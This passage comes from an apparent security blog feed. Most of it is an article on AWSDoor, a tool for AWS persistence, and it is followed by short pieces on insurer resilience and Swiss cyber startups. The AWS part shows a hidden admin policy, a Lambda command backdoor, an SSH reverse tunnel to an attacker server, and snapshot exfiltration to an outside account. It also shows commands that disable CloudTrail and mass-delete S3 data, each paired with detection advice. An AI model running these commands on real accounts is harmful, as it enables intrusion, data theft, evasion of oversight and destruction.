      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

This policy will allow the role to perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket: it basically grants the associated role the maximum privileges on the account.

For a defender, at first glance, this policy looks like an inoffensive policy targeting a S3 resource, but it in fact grants AdministratorAccess privileges to the role.

The attacker can then backdoor the specific role using the TrustPolicy persistence as explained before to get a full remote access to the AWS account.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

For the policy, there are two possibilities:

• Attached policy: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:

• Inline policy (-i): this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.

Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.

Defense

From a defender’s perspective, the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion, especially when paired with NotResource fields.

The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:

• Monitor IAM Policy Changes via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion
• Investigation on policy documents containing the NotAction This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)
• Enforce compliance check with AWS Config: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect

Resource based persistence

In AWS, it’s common to attach IAM roles to resources like Lambda functions, EC2 instances, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.

From an attacker’s point of view, this setup can be useful for persistence. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.

This means the attacker doesn’t need to create new credentials or modify IAM directly. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.

Lambda

AWS Lambda functions have become a popular choice for running code in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.

For example, in order to manage the account administrators, it is possible to create a Lambda function that adds privileges to a user when he is added to a DynamoDB database: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.

Therefore, it is not usual to associate an IAM identity to a lambda.

Over-privileged role

A way to get persistence on an AWS account is to either associate an overprivileged IAM identity to an existing lambda or modify the code of an already existing over-privileged lambda.

For example, the attacker can:

• Create a lambda function
• Associate an IAM privileged role (using the NotAction trick for example)
• Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials
• Expose the lambda directory on Internet through an API Gateway or a Lambda Function

The following figure summarizes the persistence deployment:

Lambda layers

The Lambda persistence technique described above is effective, but it has a major drawback: the malicious code is easy to spot. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.

A more subtle approach is to hide the malicious payload in a Lambda layer rather than in the function code itself.

A Lambda layer is a way to distribute shared dependencies such as libraries or custom runtimes. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.

From AWS’s perspective, the layer is attached to the function, but its contents are not displayed directly in the console.

As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.

The use of a layer is displayed (and can be easily missed) but in order to download the code, the user needs to go on a specific Lambda Layer panel and download (not display) it in Zip format:

These extra steps can make defenders less likely to review the layer’s content during the initial triage.

An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.

For example, after downloading the requests package using pip:

pip install -t python requests

The attacker modifies the get() function to execute arbitrary commands:

Then, the package is zipped and deployed as a layer, which is attached to the target function:

Finally, the Lambda source code is updated to use the poisoned library, which may appear harmless at first glance:

What looks like a legitimate HTTP request is now a trigger for hidden malicious behavior. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

A few additional parameter can be used:

• -l : use a lambda layer, otherwise include the malicious code directly in the lambda
• -g: use a gateway api, otherwise, use a FunctionURL

The GatewayAPI is a cleaner way to expose a lambda on Internet, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:

The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Defense

From a defender’s perspective, Lambda layers are often overlooked during incident response, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, malicious content can easily go unnoticed. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.

The following detection and mitigation strategies can help security teams identify and respond to suspicious use of Lambda layers:

• Audit Lambda Layer Attachments: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.
• Restrict layer update to CICD workflow: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.
• Validate lambda exposed directly on the internet: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated

While layers are a powerful and useful feature, they represent a blind spot in many AWS security monitoring setups.

EC2

Socks

AWS Systems Manager (SSM) provides a powerful and flexible way to manage and interact with EC2 instances without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, administrators can execute commands, run scripts, or open interactive shell sessions on instances, all without exposing them to the public internet or managing bastion hosts.

One of the main advantages of SSM is that it reduces the attack surface by limiting the exposed services. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.

From a security perspective, while SSM reduces exposure, it also introduces new risks. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.

An attacker with access to the AWS account can leverage SSM capabilities to compromise an EC2 instance and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Then, the attacker, from his server, can open an SSH socks with the following command:

ssh -D 4444 ssm-user@127.0.0.1:2222

This allows the attacker to tunnel traffic through the compromised EC2, using it as a foothold inside the network.

Snapshot exfiltration

While not a persistence mechanism, snapshot exfiltration is a powerful technique for data exfiltration in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.

An attacker with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume, then share it with an external account they control.

From that external AWS Account, the snapshot can be mounted, copied, and inspected giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.

This method is particularly dangerous when applied to sensitive infrastructure. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own AWS Account and extract sensitive files like ntds.dit.

All of this can happen without needing to interact with the instance over the network, by passing any security tools deployed on the internal network.

This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.

AWSDoor

These two techniques are implemented on AWSDoor. The following commands can be used to export a specific EC2 instance:

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
   
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

Likewise, the SSH socks action can be automated:

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Detection

For the snapshot part, CloudTrail logs several events:

• CreateSnapshot logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it’s not inherently suspicious. However, it’s easy for attackers to blend into the noise by mimicking standard backup activity.
• ModifySnapshotAttribute when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:

Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.

Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and raise an alert when a snapshot is created without the appropriate tag. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:

BackupTag=HMAC(creation_time, secret)

For the reverse socks exploitation, it depends on the way the SSM access is performed:

• From the AWS GUI: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.

• From the AWS CLI or AWSDoor, the StartSession event is not raised but the GetCommandInvocation is logged instead:

However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.

Defense impairment

Defense impairment refers to any deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.

AWS provides several built-in services designed to monitor activity, enforce compliance, and alert on suspicious behavior. These include CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced environments may also rely on third-party SIEMs or CSPM platforms integrated into their AWS accounts.

Disabling or modifying any of these services can significantly reduce the visibility defenders have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.

CloudTrail and CloudWatch

Introduction to AWS logging

In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.

CloudWatch, on the other hand, focuses on operational monitoring. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for real-time visibility. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and store logs from Lambda functions, EC2 instances, or custom applications.

Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.

CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.

CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a trail. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.

As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.

Stop logging

Attack

While it is not easily possible to impact the logging capabilities of CloudWatch, it is possible to impact those of CloudTrail by simply deactivating the logging capability.

This feature allows to stop a trail from logging the event without deleting it:

While this technique is effective to impair specifics logging capabilities, it has severs draws back:

• limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available
• Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.

Defense

On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.

Event selector

Attack

In AWS CloudTrail, event selectors allow fine-grained control over what types of events a trail records. These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.

By default, trails log management events, but users can modify event selectors to exclude them partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail’s event selectors to suppress specific types of logs, such as disabling management event logging, thereby impairing visibility into changes made during or after a compromise.

Therefore, by altering event selectors it is possible to degrade the CloudTrail logging capabilities, making it harder for defenders to detect unauthorized activity or investigate incidents.

The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:

AWSDoor

AWSDoor can be used to reconfigure the event selector in order to prevent data and management event logging:

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Once the script is run, the event selector is configured. The trail still appears as active:

However, the event selector prevents further event logging:

Defense

The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:

Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.

Destruction

Attacks focused on data destruction are designed to cause important operational damage by permanently erasing or corrupting critical information and infrastructure. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.

In cloud environments like AWS, destructive attacks can impact all types of resources, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:

• Deleting S3 buckets can lead to the loss of backups, customer data, or reglementary / technical information (logging).
• Erasing EBS volumes or RDS snapshots can lead to total loss of application state or critical databases.
• Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.

AWS Organization Leave

Organization Leave

AWS Organizations is a service that allows you to centrally manage and govern multiple AWS accounts from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.

Each AWS account in an organization remains isolated in terms of resources and identity, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. This structure is particularly useful for separating data and workloads by team, environment, or business unit while maintaining centralized governance.

AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.

While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.

For example, a company is hosting a eShop application on AWS. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.

With full control over this now standalone account, the attacker can operate without oversight. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.

From the company’s perspective, once the account has left the AWS Organization, the security team loses visibility and administrative authority over it. They cannot easily shut down the impacted resources directly from their AWS account.

Without admin access to the now-isolated account, the company has no way to disable services, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.

Privileges needed

To execute the LeaveOrganization action and detach an AWS account from its organization, the attacker must possess elevated permissions within the targeted account. Specifically, the following conditions and IAM privileges are required:

• Account-Level Access: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.
• organizations:LeaveOrganization Permission: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker’s effective permissions. This action is only valid when executed from within the member account, not from the management account.
• Billing Access Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.

Defense and detection

Preventing Unauthorized LeaveOrganization Calls

The most effective control is the use of Service Control Policies (SCPs). SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.

The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.

The SCP, defined at the organization level, can prevent any user in the accounts to leave the organization. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.

The following policy will prevent any misuse of LeaveOrganization:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]
}

This SCP should be attached directly at the root of the AWS Organization to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.

Detection and Monitoring

Even with SCPs in place, monitoring for LeaveOrganization attempts is essential for defense-in-depth. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.

For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.

S3 destruction

S3 standard deletion policy

Amazon S3 is one of the most widely used and trusted storage services within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.

While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.

Additionally, AWS enforces eventual consistency on object deletions, so even after a delete request, objects may temporarily persist. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.

Lifecycle policy

Amazon S3 Lifecycle Policies provide an automated mechanism to manage the storage lifecycle of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or expire (delete) them after a defined period, based on criteria like object age, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.

However, lifecycle policies operate differently from manual processes and bypass the standard safeguards designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). Once applied, this policy is retroactive: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.

Unlike manual deletions, lifecycle expirations are handled internally by AWS at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.

As lifecycle policies are applied on a daily basis, the defender will have less than a day to detect the policy change, remove the deletion mark and revoke the attacker access.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Detection

Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.

Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.

To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.

In sensitive environments, such configuration changes should trigger immediate alerts, automatic remediation and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.

Conclusion

CSPM

The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.

A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.

EDR

Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.

A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.

Backup and logging

Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.

Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.

Cet article AWSDoor: Persistence on AWS est apparu en premier sur RiskInsight.

In recent years, regulators have consistently urged insurers to adopt holistic strategies that extend far beyond traditional disaster recovery—embedding resilience throughout business operations and the entire software development lifecycle.

This paper aims to offer a comprehensive perspective on resilience, bringing together operational continuity, cyber defence, and third-party risk management. It can serve as a strategic guide for CxOs, outlining how to identify the Minimum Viable Company (MVC), market insights into sector-wide impact tolerance, and anticipate the evolving landscape of regulatory and cyber resilience through 2030.

Minimum Viable Company (MVC) framework

The FCA’s Operational Resilience Policy Statement (PS21/3) challenges insurers to pinpoint their Important Business Services (IBS) and develop strategies for maintaining these during severe disruptions. Though MVC is not named explicitly in PS21/3 (FCA’s Policy Statement on Building Operational Resilience, published in March 2021) organizations are advised to define their “minimum operational footprint,” closely aligning with MVC principles.

Think of the MVC as your organisation’s lifeline: those indispensable services, processes, technologies, and teams that maintain trust and financial stability, even when everything else must be paused.

Most organizations keep their MVC lean, just 15–17% of total business activity, backed by robust lists of mission-critical applications, core infrastructure, key data, and vital third-party relationships. This isn’t just compliance: it’s about identifying a modular, scalable foundation that lets your business isolate issues, recover fast, and keep delivering during systemic risks.

Informed by our extensive work with top UK and global insurance organisations, an indicative list of Core Services typically is:

Further examination of trends in impact tolerance, detailing standard timeframes observed and strategic rationale for core services identified within MVC.

Note: The following ranges are intended as guidance, reflecting our market study and regulatory advisory. Actual tolerances may vary based on factors such as the jurisdictions involved, the organization’s risk profile, and its financial capacity.

Regulatory trends: 2025–2030 outlook

As the insurance industry navigates evolving operational demands, it is equally crucial to anticipate the shifting regulatory landscape that will define the coming years. The following outlook highlights the major regulatory trends projected for 2025 through 2030, outlining key compliance requirements and anticipated changes that will shape the UK insurance sector’s risk management and reporting frameworks.

It is important to recognise that as regulations in this area continue to develop, UK regulators such as the FCA and PRA are moving towards greater alignment with major European frameworks, including the EU Digital Operational Resilience Act (DORA) and the Network and Information Security (NIS) Directive.

This alignment reflects a recognition of the interconnectedness of financial markets and critical services across borders, and the need for consistent, elevated standards of operational and cyber resilience.

The FCA and PRA have issued consultations and guidance signalling their intent to integrate core DORA and NIS principles—such as enhanced third-party risk management, harmonised incident reporting obligations, and sector-wide resilience testing—into the UK’s regulatory regime. This convergence ensures that UK financial institutions, insurers, and service providers are prepared not only for domestic regulatory expectations but also for the demands of operating within a global and digitally integrated market.

Boardroom resilience checklist

In light of these forthcoming regulatory changes and strategic reforms, it is essential for boardrooms to evaluate and reinforce their organisational resilience frameworks. The following checklist is designed to guide leadership teams in proactively assessing their preparedness, ensuring robust governance, and embedding resilience into core decision-making processes.

• MVC coverage: Is your Minimum Viable Company (MVC) clearly defined, mapped, and stress-tested across operations to maintain delivery of essential services
• Impact tolerance benchmarking: Have you validated realistic impact tolerances through scenario analysis, and benchmarked them against peer institutions and regulatory frameworks
• Third-Party risk visibility: Do you maintain real-time insight into key external dependencies, supported by contingency planning and contractual resilience provisions
• Integrated resilience functions: Are your operational resilience, cyber security, third-party risk, and enterprise risk teams aligned in strategy, decision-making, and board reporting to support a cohesive resilience posture
• Incident Response preparedness: Do you have robust mechanisms for multi-channel incident reporting (internal and external) and active regulator engagement, supported by rehearsed playbooks
• Cyber insurance alignment: Is your cyber insurance coverage tailored to your specific risk landscape, and tested against evolving threat scenarios across business-critical assets
• Board accountability: Have board members been trained in resilience and security oversight, and do they receive regular briefings from integrated risk functions to ensure informed governance
• Resilience culture: Is a resilience-aware culture embedded across the organization —from executive leadership to operational teams — fostering proactive risk ownership and continuous improvement
• Regulatory awareness & horizon scanning: Are we tracking global and local regulatory developments (e.g. EU DORA, FCA SS1/21, SEC cyber rules), and ensuring readiness and board-level awareness of compliance obligations

The UK insurance and reinsurance sector is well-capitalised, digitally evolving, and strategically positioned for growth. But resilience (operational, cyber, and third-party) remains the defining factor for long-term success. 

By thoughtfully harmonizing operational resilience strategies across function with leading global standards, organizations can elevate their industry standing and secure enduring stakeholder confidence. This proactive approach not only ensures compliance with a rapidly evolving regulatory landscape but also fortifies the ability to mitigate cross-border risks and respond decisively to unforeseen disruptions. In a world where digital threats and supply chain vulnerabilities transcend geographic boundaries, developing internationally recognised resilience is both a regulatory imperative and a cornerstone of successful, forward-looking business strategy.

In conclusion, executives must embed robust, integrated resilience frameworks for sustained growth and stability. By cultivating a culture of proactive risk management and regulatory awareness, institutions can position themselves at the forefront of operational excellence, prepared not just to withstand challenges, but to transform them into opportunities for long-term success.

Cet article Resilience by design: strategic imperatives for UK General & Reinsurance Insurers (2025 – 2030) est apparu en premier sur RiskInsight.

Every year since 2020, Wavestone has identified Swiss cybersecurity startups in its eponymous radar. While AI has established itself as a cross-disciplinary subject in all fields, the 2025 Radar focuses on the use of artificial intelligence as a tool, not just as a subject to be secured, but as a technology at the very heart of the cyber response.

Several startups are using AI to automate, enhance or personalize their solutions:

Egonym uses generative AI to anonymize faces in images and videos while preserving useful traits like age and emotion — striking a rare balance between privacy and utility.

Hafnova applies real-time AI to detect, block, and report threats across critical infrastructures with high responsiveness and minimal delay.

Aurigin combats deepfake-based fraud in real time using multimodal AI that simultaneously analyzes voice, image, and text to validate identities. 

RedCarbon delivers autonomous AI agents capable of handling complex cybersecurity tasks such as threat detection, hunting, and compliance monitoring — significantly reducing analyst workload.

Baited leverages AI and OSINT to generate hyper-realistic phishing simulations, enabling organizations to test and train employees under real-world conditions.

It’s good to see AI becoming an essential defensive weapon contributing to the defense of our information systems.

Strong momentum around threat detection, response and monitoring

The second strong trend this year is the emergence or reinforcement of startups specializing in intrusion detection, suspicious behavior detection, incident response and continuous supervision.

This segment, already well established historically, is undoubtedly gaining strength with several new entries:

RedCarbon: AI agents for threat detection & automated hunting.

Swiss Security Hub: continuous monitoring of SAP systems with XDR integration.

Cyberservices : XDR platform based on the Google ecosystem.

Hafnova: real-time cyber supervision in critical sectors.

Tirreno: on-prem platform for online fraud detection with user trust scoring.

At a time when cyber-attacks continue to increase in number and complexity, preventive, contextualized and autonomous detection is and will remain key to strengthening operational resilience.

New ground explored: digital sovereignty and secure hardware

Among the notable additions, The Cosmic Dolphins stands out with its sovereign hardware approach:

The Cosmic Dolphins: Swiss smartphones with dual-zone OS (Shark Zone / Dolphin Zone), kill switch, and hardware-first approach to privacy.

Swiss innovation isn’t limited to software: mastery of the physical infrastructure is becoming an issue of trust, sovereignty and differentiation.

Key Figures

Geographical focus: undisputed predominance of Lausanne and Zurich, but other regions are gaining ground

Unsurprisingly, most startups are located around two main technological clusters: Zürich and Lausanne. This confirms an already existing trend since these two cities are hosting Swiss Federal institutes of technology (ETHZ in Zürich, EPFL in Lausanne).

